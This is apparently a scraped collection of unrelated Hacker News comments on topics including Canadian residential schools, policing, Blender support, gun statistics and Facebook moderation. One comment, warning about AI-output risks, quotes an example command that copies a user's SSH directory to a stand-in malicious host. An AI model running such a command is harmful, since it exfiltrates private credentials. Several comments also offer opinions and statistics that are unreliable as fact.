skysight-inc/HackerNews huggingface dataset:
It wouldn't be farfetched to call these institutions concentration camps for indigenous Canadian children, given that mass graveyards were found. It's not unusual to disguise concentrations camps under euphemistic names such as "Internment Facilities". [1]

[1] https://en.wikipedia.org/wiki/Internment_of_Japanese_America...
This is interesting. Does it means that Canonical will now employs one or more Blender developers?
It doesn't have anything to do with specificity, the Space Shuttle was just the only manned spacecraft powerful enough to get out to Hubble's orbit and back, and that had an airlock so you could actually access Hubble.
I usually place the time at the beginning. Another thing to place at the beginning is a (red) exit code of the last command, when that code is not 0.
funny.
do you know the criteria for being called a literate in india?
http://gojiberries.io/2006/07/03/literacy-in-india-can-india...

sorry if the source is old, i couldnt find a fresh one. the argument still holds, india is counting being a "literate" as someone who can write his/her name or read passages from 2nd grade. if that is what is passing as being literate then yeah, india is a literate country. if not then don't trust these figures
If the outputted prompt contains something like `scp -r ~/.ssh evil.com`, folks may not notice or be savvy enough to recognize that it is malicious. A MITM attacker could quite easily implement this.
Very interesting references. Thank you.
I’m talking about a few people I know personally who happen to be cops (some white dudes, some POCs). Obviously this is anecdotal, as is the original comment I replied to.

However, I did experience profiling several times when I was younger and drove a mini-truck in the Bay Area. I have slightly darker skin and am routinely mistaken for hispanic. In the couple of years I owned the mini-truck, I was pulled over several times for things like a tail light out (it wasn’t), or “reports of stolen trucks that fit this description”. While unfair from a profiling perspective, I was compliant and polite, and the cops were professional (outside of the initial profiling). After running my license and registration they always let me on my way without any harassment. Now, I’m not saying my experience is indicative of other’s experience with cops but just that I’ve glimpsed the other side a bit.
Can confirm the importance of a thoughtful cover letter, both from the hiring and job hunting perspective.

I am glad to see more people move away from the 2010s-era-Google-focused approach to hiring where human elements of a job are stripped away and the interview is merely another test to ace.
Lots of 30/40 year old hardware is still classified, especially spy technology.
I was hoping for a before/after comparison picture, but I can't find it.
If he'd said that for-profit news media is the enemy of Democracy, I'd have probably bought a hat.
Yeah, it strikes me as an odd choice that V8 doesn't just use C code for something as central and important as sorting, but maybe there's some technical reason.
To elaborate:

On Darwin, x18 is used as a scratch register in context switches on hardware where Meltdown mitigations are needed.

As such, it is cleaned on each ctx switch on that hardware.

On M1, it's currently usable by applications, but that is not part of the ABI contract and might change at any time without notice.

On Windows, x18 is the TEB (thread environment block) register. It must as such _not_ be touched by apps either.
It doesn't require a statement from Apple for someone to ascribe intent from a company's actions. It's of course just speculation and may not align with what the company officially states or what the intent is internally. It's simply an opinion.
> centralised app stores

Makes me wonder...are there blockchain-based app stores that could serve as a viable alternative?
Google Drive itself uses third-party cookies. You can't download files from Google Drive without enabling them, for some reason.
It sounds like you don't understand how wealth works and you're having some sort of emotional reaction towards "rich people".

I just did a quick search for the breakdown, but essential 81% of Elon's wealth is Tesla stock and 14% is SpaceX. The remaining 5% is a combination of assets. The important point is that 95%+ of his wealth is being actively used by other people for things like salaries, research and manufacturing. That's how investing works: you give your money to other people in exchange for some well defined privileges. We talk about those privileges as being worth a certain $x but that's not at all the same as having $x.

There is no Uncle Scrooge style vault with cash. Other people are using that money.

https://www.businessinsider.com/elon-musk-net-worth-quintupl...
My instinct was the same as yours, but I wonder whether this is really true. Obviously you couldn't read a treatise per employee, but even for thousands of employees a single sentence per employee wouldn't take too long. And I doubt that even a majority of employees would actually send one.
Flaws in a firmware security tool affect as many as 30M devices
Basically what you said is correct, and you're quite astute to mention it. There is an extremely complex issue on the native side in terms of organization such that they can be proportionally and correctly represented. While most Aboriginal people in Canada "generally mostly believe around generally the same stuff" - it's as you can imagine hugely nuanced, never mind that Inuit are their own people to address in and of themselves. I could write about this extensively but I'll leave it at this: while it's true that the interfaces and work require to jive all of that together has an onus on the native people themselves, Canada has not done a particularly good job of sitting down with the chiefs across the board and facilitating a re-examination what that would look like in a modern context if a venue was presented and agreed upon. Personally, I could imagine something more like the UN?) I don't want to downplay the complexity of this side of the issue, I do think real change would require the constitution.
I'd rather "de-fang the police" than defund them. The problems people complain about aren't budget issues, they are behavior issues: Excessive use-of-force, Escalation instead of de-escalation, Casually committing crimes on the job due to immunity, Racial bias, and the culture of good officers covering for bad ones. These can be reformed while still recognizing the positive role a well behaved and well funded police force plays in communities.
I also wonder if they can borrow against it. It would seem a pretty low risk loan for a banker to make, and it would allow people to access the money arbitrarily, negating the one downside or limitation. So yet another way that the rich can basically avoid paying any taxes. Does anyone know of any limitations or rules restricting what you can invest the contents of an IRA in? Can you set up a business, sell your IRA shares of the business, then borrow against that value? Basically a foolproof way to avoid paying any taxes ever. The best part is the interest rate just has to be lower than the tax rate, not even the rate of return, right? Incredible. I think Romney was roasted for doing the same thing with his IRA. Seems like any wealthy person could and should be doing this.
I ran UNIX with X11 on my 386DX/25 PC in 1987.
There still are massive levels of racism particularly in policing and the justice system. Kids are still dying - https://www.cbc.ca/news/canada/thunder-bay/seven-youth-inque...
I saw a tweet the other day from someone in her 40’s who said her children were the first generation in the family not to have been sent to a residential school. Pretty sobering.
Newsom misled public about progress of wildfire prevention efforts, report finds
Horribly contrived- but you can run rootless docker with slirp4netns if you:

* Install slirp4netns

* DOCKERD_ROOTLESS_ROOTLESSKIT_PORT_DRIVER="slirp4netns"

* Upgrade to rootless docker 20.10.7 or higher (was bugged in 20.10.6. Yup.. bad.)
Facebook does thing that keeps people using Facebook.

Why would anyone expect Facebook to promote the “healthy option”? They’re brain junk food.
Yes. It's just a joke name for non-diet.
Looks like FLoC isn't taking off as well as they hoped.
AI Doesn't Understand Scale
The article clarifies that it's specifically designed to be similar to spider's silk.
Like the battle between Sherlock and Moriarty in Sherlock Holmes: A Game of Shadows?
I don't think the media abruptly changed at exactly the same time right-wing personalities started talking a ton about media bias, no. Yet I'm sure perceptions did. So yes, I think deliberate promotion of a view to a huge audience, whether it's correct or not, will result in more people believing it's true than people's "own eyes and ears".
One part commonly overlooked is "see and avoid". That is, under VFR, a pilot should look out the window and avoid hitting other things. Which, strange as it sounds, has been a sticking point for some drone flight approvals.
Third-party doctrine had eroded the need for warrants for a long time. Luckily there's been progress in slowly clawing back our rights in the last decade or so.

https://en.wikipedia.org/wiki/Third-party_doctrine
There is certainly no road to Damascus from the US. Chances are that the US also bombed that away. Still good advice.
It gives a rating for where the average voter on the site thinks the sources lie.
Interesting. Has Blender made inroads in pro cinema/gaming, and are those people using Linux? Seems like Canonical thinks it can capitalize on Blender's success.
Indian election rules state "no voter should have to travel more than 1.24 miles to vote."[1] It's irrelevant that most of the population is rural. They can all vote.

1. https://www.washingtonpost.com/world/asia_pacific/election-w...
> now Americans already own a lot of guns and shoot each other a lot

Your analysis of the data may vary, but:

Between 1998 and 2019, there have been more than 391,897,875 background checks for gun purchases in the U.S.[1].

It is unknown which of those were for rifles; it is also unknown what percentage of those background checks were for multiple firearm purchases in a single transactions.

The AR-15 is the most popular rifle by far, so it seems entirely plausible that there are perhaps vastly more than 100 million AR-15's in private ownership in the U.S. (An interesting point is that it is rather unlikely that most people would be so unwise as to advertise ownership.) (Of note, there is no legal definition of assault rifle, and the "AR" in AR-15 stands for Armalite, one of the first manufacturers of the AR-15.)

In total, less than 400 killings (including murders, self-defense, suicide etc) per year committed with all types of rifles[2]. (In fact, more people are killed each year with blunt objects like clubs, hammers, etc.)

Those who wish to increase ownership of handguns would do well to note that many, many people in the U.S. own handguns for personal defense, and a very tiny fraction are used for killing in any given year. By far the largest handgun numbers are from people taking their own lives, and most of the others are from criminal activities, typically in large cities. Those criminal activities are committed by people who, by definition, do not obey the law.

This is obviously a politically fraught topic; just wanted to provide some actual, if somewhat surprising, data. Again, your analysis and politics may vary, but that's the data.

1. https://www.fbi.gov/file-repository/nics_firearm_checks_-_mo...

2. https://ucr.fbi.gov/crime-in-the-u.s/2019/crime-in-the-u.s.-...
Are you saying you can't download files from Google Drive in the default Safari configuration?
After filtering out dead and deleted stories, it's about 950-1000 stories per weekday, and about 650 stories per weekend-day. This is what I consistently see after two or so months of curating HN's 'new' tab for my newsletter.
Maybe the James Webb will go up some day...
You probably confused it with continental europe - there education in public universities in many countries still is extremely cheap or free.

UK on other hand is like light version of US.
Some AFAB women can't give birth. Some of them have more androgynous bodies. Some of them are black.

How on earth did being black make it on that list?! Wtf
Wow they sure try to sledgehammer the fact that thiel has a lot of money here with the first 3 paragraphs and visuals making sure that you understand that 5 billion is in fact a lot of money.
Would you mind sharing a link? I can't anything besides kittens on trees, kitten VSCode themes, and kittens for the terminal.

Also, XMind looks very pretty.
The schools are gone, but the damage remains. While most closed in the 70s, there were a couple that lasted into the 90s! and there are many living survivors who continue to suffer from the trauma they experienced.

The stated goal of the schools was to eliminate First Nations' culture and it was tragically highly effective. A culture doesn't recover from generations of ethnocide overnight.
It bothers me a lot that the paper of record has declined so much in quality since I’ve been watching. As someone who loves New York and worked every day right across 40th st, it hurts my heart.
When I read about Facebook's issues, I sometimes have the urge so start giving armchair advice about how they should fix their problem this or that way.

But having a clue about their scale, their business model, and the logistical and technical complexity of it... frankly there's no fixing this cesspool.

Use it or leave it.

My guess is that Facebook will be eventually replaced by a company with a completely different business model. I hope that business model focuses on (low) monthly fee, no ads, no tracking, just provide the service people need to connect with each other. Like a utility. Like your phone, or postal service.

But also it's a bit of a wishful thinking.
Is this actual malice / bad faith, or is this, as i suspect, that their codebase, and its actions, are now so big and opaque that they cannot reason about their code - and are playing whack-a-mole ?
It feels pretty far left to me. It’s not as nakedly partisan. But it covers almost exclusively left issues.
How to Remove Your Name from a Police Blotter
It's more likely the five grams were dried psilocybe cubensis mushrooms, which typically contain less than 1% of psychoactive compounds, so your experience would have involved more like 50mg of psilocybin/psilocin/baeocystin/others. Not trying to diminish the experience in any way -- five grams of magic mushrooms are very likely to lead to an amazing trip.

If this assumption is wrong and you in fact did take 5000mg of pure psilocybin, I'd appreciate hearing more detail on that experience.
Cue and Go serving a datamesh infrastructure
Android 9 on a GSM phone from year 2000
Actually, it wouldn't be. Starlink orbits at about the same altitude, but the satellites have their radio antenna pointed downwards to Earth, so they can't connect with each other.
Why would you need blockchain? For decades decentralized services worked without blockchain.
No, but "Debugging on a computer that is down... in space," does sound more interesting, right?

You have a computer that you can only interact with over a radio link, and need to make it start working again with only what you know about how the system is built and a limited set of remote commands. Sounds like something I'd get obsessed with solving.
I’ve been in two companies that had open submissions to the executives for ideas. In an about 400 person org, about 25 people submitted ideas. In the other one, it was about 40 in several thousand.

The one thing I can’t factor out is apathy, as every time next to nothing was done with the suggestions and perhaps lack of prior success dissuaded people from trying again.
I think many people will agree that this is just terrible engineering and there are many ways to authenticate users who download files without the use of 3rd-party cookies. Literally every other cloud storage provider was able to figure that one out.
"People being able to directly organize and bypass the established political parties and corporate media entities that currently control the system is bad."

- The established political parties and corporate media entities that currently control the system
No worries. Basis points are somewhat weird if one is not used to them, and the article is a bit cheeky in that it mixes cents and dollars, making it extra confusing.
This is my take as well.

If you are building a framework and its sub-components are frameworks that act on their own behalves, you better build exactly what you need in an opinionated style. But if you are building a framework and its sub-components are libraries, those libraries can be as general as possible, and your framework can then call those libraries in just the way that you need to. The library strategy will always out-compete in the end if you can handle it properly.

If you try to do it half-way like these developers did, you will be ruined just like they found.

Reposting from a similar comment yesterday -

> Frameworks are easier to setup initially, but they do not scale. Why is it that Microsoft Windows has 13 different dialog generations? Because each is a framework on top of a framework on top of a framework. It's amazing that they can even get that done.

> When the 2 UNIX devs were in a basement building UNIX and were able to out-compete Multics[0], they did it because they were building libraries that could talk with each-other using pipes around the boundary. Applications that communicate based on input-output with no internal state behave just like pure functions do. Pure functions compose. When Linus built git in 10 days, he was able to do this because the core idea of git isn't actually that much work. The framework is built out of composable blocks that neatly come together as libraries. Microsoft's TFS Source Control is a framework that acts on your behalf and therefore the bigger the project gets, you need n^2 people to work on it.

[0]: https://www.youtube.com/watch?v=3Ea3pkTCYx4, thanks to this HN comment(https://news.ycombinator.com/item?id=27494671) for this reference.
Indeed. I think better word is "efficiency".

It seems pretty clear that at least some things become more efficient some of the time when everyone is in the same place.

The question of if that's a total net gain to the enterprise or not is probably pretty dependent on the actual task at hand (fewer efficiency gains for software companies, more for symphonies, etc) but that seems a better description of what's going on than a generic sense of "innovation".
It's not even a secret. Sure we didn't learn the true nature of those schools in our classwork growing up, but it's been called out even in pop culture for the past several decades.

Gord Downie even made a film about it. I don't know how many Canadians can reconcile this.

I grew up with stories from my mother and her experience on a children's work farm and my grandfather getting snapped up by a Salvation Army work farm (hard to find info, but related: https://www.thestar.com/news/world/ww1/2014/08/15/home_child...) in the late 30's. Children of Scottish and Irish immigrants, mind you—their stories pale in comparison.

I know it's easier to just forget the hard things rather than deal with them, but I can't understand why there has been so much resistance to reforming some of those matters. It's hardly as if our elected officials would even have to do much work themselves—plenty of study has gone into our best actions forward.

The inertia of it all is grinding.
To illustrate how easy it is to inject a racial angle into anything, here's Brandeis University on why "picnic" is oppressive language:

https://www.brandeis.edu/parc/accountability/oppressivelangu...

[edit] They just removed it. Here's what they had previously: https://archive.is/NR0Zj
Hallway conversations are exclusionary by their very nature. It's biased towards extroverts who have access to the physical levers of having their ideas heard (location, same office space). It encourages the loudest, most gregarious, most "in" people in the room to spread their ideas above others.
What control are you lacking? Are you positive you are lacking control or just espousing a knee jerk opinion?

Indeed, a comment in this thread points out that others have reported Apple went out of their way to allow secure access to the hardware on peer with what apple does with macOS - your generic concerns seem utterly without merit.
Have we reached a decade of "AI will fix it" yet, or are we still a couple of years off?

I feel like so many issues around content moderation have been waved off by the big tech companies as being solved by algorithms and yet time and time again it's made very clear that algorithms alone aren't going to solve these problems.

I used to think it was because the engineers and managers involved believed so deeply in the potential but now I'm pretty sure it's because higher ups know the alternative (e.g. hiring humans, or abandoning money-generating algorithmic feeds) would be expensive and they'll throw anything and everything they can at the wall to avoid having to do it.
From reading the press release. It appears as if Canonical will just handle support contracts with external companies. Basically they will have a help desk or something if those companies/their employees are having issues with Blender. Part of the proceeds from those contracts will then be passed to Blender for it's further development and to fix bugs that may arise in LTS releases of Blender. I do not believe they are hiring developers it looks more like Blender is out sourcing technical support to Canonical with a bit of a kick back.

Seems like a good partnership to me imho, granted I've never worked with Canonical's support.
There is no cure. Not for me anyway. Swedish midsummer celebrations tomorrow and I just bought a bottle of Havana Club and a bunch of beers. I know what to expect and only time will help... a lot of time... Haven't been drunk since last summer, that's the only thing that truly works ¯\_(ツ)_/¯
Content classification and moderation at scale is hard. I wish this article had provided more concrete statistics.

> The group, formed in December, is private and relatively small (57 members) but is still active, with four posts in the last month. We attempted to reach the administrator by email but did not receive a response.

It’s not really honest to expect Facebook to correctly classify every single, tiny group created on the entire website.
It doesn't seem to be well-documented. Examining the links, there's talk about such practices, rumors, a scientific paper about trying to identify "wu mao" posts (which concludes it's difficult to identify them for certain) etc. It is perhaps more accurate to say there is some evidence to indicate this may be happening.
Now for the real eye opener - all compulsory schooling can be described as "internment and reeducation camps for children". Children are taken from their parents, forced to learned a standardized dialect of the dominant language, indoctrinated with myths and ideals that are useful for the state, taught history that's heavily skewed to present the nation in a positive light, and trained that obedience to authority figures is highly desirable.

Rulers throughout history have found it useful for their subjects to speak the same language, pray to the same gods, and extoll the same values. The goal of compulsory education has always been to assimilate people into a single culture.
That's the trope, but it's also completely wrong. It was, after all, MLK and not Malcolm X who achieved so much of the progress in the 1960s. And it was the Log Cabin Republicans, not HRC, that won the fight for gay marriage. Advancements for minority groups are better facilitated by building bridges than by burning them.
Too many cooks in the kitchen.

Despite the article trying to phrase it as if they have no idea what to do, they know there computer incredibly well, it's a matter of going through the steps and isolating the problem.